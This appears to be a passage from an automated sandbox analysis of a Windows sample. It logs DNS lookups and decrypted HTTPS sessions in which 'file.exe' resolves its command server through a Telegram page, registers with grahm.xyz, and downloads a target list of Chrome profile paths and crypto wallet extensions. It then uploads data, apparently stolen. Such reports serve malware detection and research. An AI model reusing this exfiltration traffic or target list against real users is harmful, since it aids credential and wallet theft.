Dec 12, 2024 16:47:06.474416971 CET	1.1.1.1	192.168.2.8	0x1f11	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.474416971 CET	1.1.1.1	192.168.2.8	0x1f11	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.475053072 CET	1.1.1.1	192.168.2.8	0x8763	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.475053072 CET	1.1.1.1	192.168.2.8	0x8763	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.475148916 CET	1.1.1.1	192.168.2.8	0xcc8c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 12, 2024 16:47:06.492234945 CET	1.1.1.1	192.168.2.8	0x8523	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 12, 2024 16:47:06.492512941 CET	1.1.1.1	192.168.2.8	0x8e74	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.492512941 CET	1.1.1.1	192.168.2.8	0x8e74	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.543545961 CET	1.1.1.1	192.168.2.8	0x2477	No error (0)	sb.scorecardresearch.com		3.160.188.68	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.543545961 CET	1.1.1.1	192.168.2.8	0x2477	No error (0)	sb.scorecardresearch.com		3.160.188.50	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.543545961 CET	1.1.1.1	192.168.2.8	0x2477	No error (0)	sb.scorecardresearch.com		3.160.188.18	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.543545961 CET	1.1.1.1	192.168.2.8	0x2477	No error (0)	sb.scorecardresearch.com		3.160.188.19	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:47:06.558568954 CET	1.1.1.1	192.168.2.8	0x258f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:06.559927940 CET	1.1.1.1	192.168.2.8	0xbc7e	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:06.683598042 CET	1.1.1.1	192.168.2.8	0x75f9	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:06.685719013 CET	1.1.1.1	192.168.2.8	0x55ab	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:06.895664930 CET	1.1.1.1	192.168.2.8	0x2ea6	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:06.896949053 CET	1.1.1.1	192.168.2.8	0x6f44	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:10.265314102 CET	1.1.1.1	192.168.2.8	0xb010	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:47:10.265314102 CET	1.1.1.1	192.168.2.8	0xb010	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:49:03.929671049 CET	1.1.1.1	192.168.2.8	0x70af	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 12, 2024 16:49:03.932065964 CET	1.1.1.1	192.168.2.8	0xcf93	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:49:03.932065964 CET	1.1.1.1	192.168.2.8	0xcf93	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:49:04.954581976 CET	1.1.1.1	192.168.2.8	0x1274	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:49:05.047000885 CET	1.1.1.1	192.168.2.8	0x4473	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:51:25.548332930 CET	1.1.1.1	192.168.2.8	0x3e1b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:51:25.548332930 CET	1.1.1.1	192.168.2.8	0x3e1b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:51:25.548398018 CET	1.1.1.1	192.168.2.8	0x274d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 12, 2024 16:54:03.986001015 CET	1.1.1.1	192.168.2.8	0xa0e9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:54:03.986001015 CET	1.1.1.1	192.168.2.8	0xa0e9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 16:54:03.986558914 CET	1.1.1.1	192.168.2.8	0x914e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 12, 2024 16:54:05.005661964 CET	1.1.1.1	192.168.2.8	0x22f4	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 16:54:05.106276035 CET	1.1.1.1	192.168.2.8	0xd0f6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

grahm.xyz

www.google.com

clients2.googleusercontent.com

chrome.cloudflare-dns.com

https:

sb.scorecardresearch.com

c.msn.com

browser.events.data.msn.com

deff.nelreports.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	149.154.167.99	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:29 UTC	86	OUT	GET /detct0r HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:29 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 12 Dec 2024 15:46:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12311 Connection: close Set-Cookie: stel_ssid=a030aa552dac8a453a_3117637583628718038; expires=Fri, 13 Dec 2024 15:46:29 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-12 15:46:29 UTC	12311	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 64 65 74 63 74 30 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @detct0r</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:32 UTC	229	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:46:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49709	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:34 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----16PP8GLX4OZU37YU3WL6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 254 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:34 UTC	254	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 36 50 50 38 47 4c 58 34 4f 5a 55 33 37 59 55 33 57 4c 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 32 39 39 35 37 34 44 32 41 42 36 39 31 36 31 30 39 31 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 31 36 50 50 38 47 4c 58 34 4f 5a 55 33 37 59 55 33 57 4c 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 31 36 50 50 38 47 4c 58 34 4f 5a 55 33 37 59 55 33 57 4c 36 2d 2d 0d 0a Data Ascii: ------16PP8GLX4OZU37YU3WL6Content-Disposition: form-data; name="hwid"46299574D2AB69161091-a33c7340-61ca------16PP8GLX4OZU37YU3WL6Content-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------16PP8GLX4OZU37YU3WL6--
2024-12-12 15:46:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:46:35 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|20ee7c69d99debd3387f2349fff5b38d\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49710	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:36 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----VKNYUK68YUSRQI589R1N User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:36 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 56 4b 4e 59 55 4b 36 38 59 55 53 52 51 49 35 38 39 52 31 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 56 4b 4e 59 55 4b 36 38 59 55 53 52 51 49 35 38 39 52 31 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 56 4b 4e 59 55 4b 36 38 59 55 53 52 51 49 35 38 39 52 31 4e 0d 0a 43 6f 6e 74 Data Ascii: ------VKNYUK68YUSRQI589R1NContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------VKNYUK68YUSRQI589R1NContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------VKNYUK68YUSRQI589R1NCont
2024-12-12 15:46:37 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:46:37 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49711	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:38 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----2DBI5PPH4EUAIMOHVK6F User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:38 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 44 42 49 35 50 50 48 34 45 55 41 49 4d 4f 48 56 4b 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 32 44 42 49 35 50 50 48 34 45 55 41 49 4d 4f 48 56 4b 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 32 44 42 49 35 50 50 48 34 45 55 41 49 4d 4f 48 56 4b 36 46 0d 0a 43 6f 6e 74 Data Ascii: ------2DBI5PPH4EUAIMOHVK6FContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------2DBI5PPH4EUAIMOHVK6FContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------2DBI5PPH4EUAIMOHVK6FCont
2024-12-12 15:46:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:46:39 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49713	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:41 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----S2VKXT0ZMOZMYMO8G4EC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:41 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 53 32 56 4b 58 54 30 5a 4d 4f 5a 4d 59 4d 4f 38 47 34 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 53 32 56 4b 58 54 30 5a 4d 4f 5a 4d 59 4d 4f 38 47 34 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 53 32 56 4b 58 54 30 5a 4d 4f 5a 4d 59 4d 4f 38 47 34 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------S2VKXT0ZMOZMYMO8G4ECContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------S2VKXT0ZMOZMYMO8G4ECContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------S2VKXT0ZMOZMYMO8G4ECCont
2024-12-12 15:46:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:46:42 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49715	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:43 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCJW4E37YCJM79RIWBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 7241 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:43 UTC	7241	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 4a 57 34 45 33 37 59 43 4a 4d 37 39 52 49 57 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 4a 57 34 45 33 37 59 43 4a 4d 37 39 52 49 57 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 4a 57 34 45 33 37 59 43 4a 4d 37 39 52 49 57 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------KFCJW4E37YCJM79RIWBAContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------KFCJW4E37YCJM79RIWBAContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------KFCJW4E37YCJM79RIWBACont
2024-12-12 15:46:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:46:44 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49717	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:44 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCJW4E37YCJM79RIWBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:44 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 4a 57 34 45 33 37 59 43 4a 4d 37 39 52 49 57 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 4a 57 34 45 33 37 59 43 4a 4d 37 39 52 49 57 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 4a 57 34 45 33 37 59 43 4a 4d 37 39 52 49 57 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------KFCJW4E37YCJM79RIWBAContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------KFCJW4E37YCJM79RIWBAContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------KFCJW4E37YCJM79RIWBACont
2024-12-12 15:46:45 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:46:45 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49721	172.217.19.228	443	6400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:47 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
